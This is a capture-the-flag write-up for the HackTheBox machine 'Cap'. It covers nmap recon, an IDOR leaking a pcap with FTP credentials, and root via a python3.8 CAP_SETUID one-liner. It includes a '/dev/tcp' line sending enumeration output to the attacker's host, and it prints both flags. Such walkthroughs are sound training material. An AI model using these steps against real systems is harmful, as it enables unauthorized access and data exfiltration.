HTB: Cap
Cap is an easy machine from HackTheBox which has a website that allows users to download pcap files. I'll exploit an IDOR to grab a pcap which contains the user's credentials to get a shell on the box. For the root step, I'll discover that the `CAP_SETUID` capability is set for `python3.8` which allows us to manipulate the proecss UID to get a shell as root.
Overview
Cap is an easy machine from HackTheBox which has a website that allows users to download pcap files. I’ll exploit an IDOR to grab a pcap which contains the user’s credentials to get a shell on the box. For the root step, I’ll discover that the CAP_SETUID
capability is set for python3.8
which allows us to manipulate the proecss UID to get a shell as root.
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Nmap 7.94SVN scan initiated Fri Aug 16 14:51:31 2024 as: nmap -p 21,22,80 -sSCV -vv -oN scans/cap.nmap 10.10.10.245
Nmap scan report for 10.10.10.245 (10.10.10.245)
Host is up, received echo-reply ttl 63 (2.2s latency).
Scanned at 2024-08-16 14:51:41 +08 for 193s
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vrva1a+HtV5SnbxxtZSs+D8/EXPL2wiqOUG2ngq9zaPlF6cuLX3P2QYvGfh5bcAIVjIqNUmmc1eSHVxtbmNEQjyJdjZOP4i2IfX/RZUA18dWTfEWlNaoVDGBsc8zunvFk3nkyaynnXmlH7n3BLb1nRNyxtouW+q7VzhA6YK3ziOD6tXT7MMnDU7CfG1PfMqdU297OVP35BODg1gZawthjxMi5i5R1g3nyODudFoWaHu9GZ3D/dSQbMAxsly98L1Wr6YJ6M6xfqDurgOAl9i6TZ4zx93c/h1MO+mKH7EobPR/ZWrFGLeVFZbB6jYEflCty8W8Dwr7HOdF1gULr+Mj+BcykLlzPoEhD7YqjRBm8SHdicPP1huq+/3tN7Q/IOf68NNJDdeq6QuGKh1CKqloT/+QZzZcJRubxULUg8YLGsYUHd1umySv4cHHEXRl7vcZJst78eBqnYUtN3MweQr4ga1kQP4YZK5qUQCTPPmrKMa9NPh1sjHSdS8IwiH12V0=
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqG/RCH23t5Pr9sw6dCqvySMHEjxwCfMzBDypoNIMIa8iKYAe84s/X7vDbA9T/vtGDYzS+fw8I5MAGpX8deeKI=
| 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPbLTiQl+6W0EOi8vS+sByUiZdBsuz0v/7zITtSuaTFH
80/tcp open http syn-ack ttl 63 gunicorn
|_http-title: Security Dashboard
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Fri, 16 Aug 2024 06:42:44 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Fri, 16 Aug 2024 06:42:38 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Fri, 16 Aug 2024 06:42:38 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
FTP (TCP 21)
1
2
3
4
5
6
7
8
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
FTP Anonymous login is disabled.
Website (TCP 80)
/ip and /netstat just returns the output of ipconfig
and netstat
on the box. That leaves us with the only feature on the box, which is the pcap download.
When selecting the pcap option, I notice that the URL is /data/1
and the pcap is empty. If I change the id to 0, the pcap now has data which confirms that we have an IDOR.
I’ll download the pcap and analyze it in Wireshark.
Shell as nathan
In the pcap, we’ll find the FTP credentials for nathan in TCP stream 3.
These credentials gives us a valid FTP login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||45291|)
150 Here comes the directory listing.
drwxr-xr-x 3 1001 1001 4096 May 27 2021 .
drwxr-xr-x 3 0 0 4096 May 23 2021 ..
lrwxrwxrwx 1 0 0 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 2021 .cache
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 2021 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Aug 16 07:19 user.txt
It appears that the FTP is mounted to the user’s home directory, so I’ll grab user.txt here.
User flag: d6a33307331f445abd511e7228acc89b
I’ll try the same credentials again to get a valid SSH session as nathan.
Shell as root
Quick check for sudo privileges.
1
2
3
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
Checking for SUID binaries also didn’t return any results.
1
nathan@cap:~$ find / -perm 4000 2>/dev/null | grep -v 'sys\|lib\|run\|proc'
I’ll upload linpeas onto the box then transfer the output back to my host.
Write linpeas output to a file.
1
nathan@cap:/dev/shm$ ./linpeas.sh -a > linpeas.out
Transfer output back to host.
1
2
3
4
5
# On target
nathan@cap:/dev/shm$ cat linpeas.out >/dev/tcp/10.10.16.26/9001
# On host
$ nc -lvnp 9001 > linpeas.out
In the linpeas output, we find that python3.8
has the CAP_SETUID
capability set, which allows us to manipulate the process’ UID to escalate privileges and get a shell as root.
1
2
3
nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
Root flag: de99e8b76e7757b2fbc14f6d88d7c082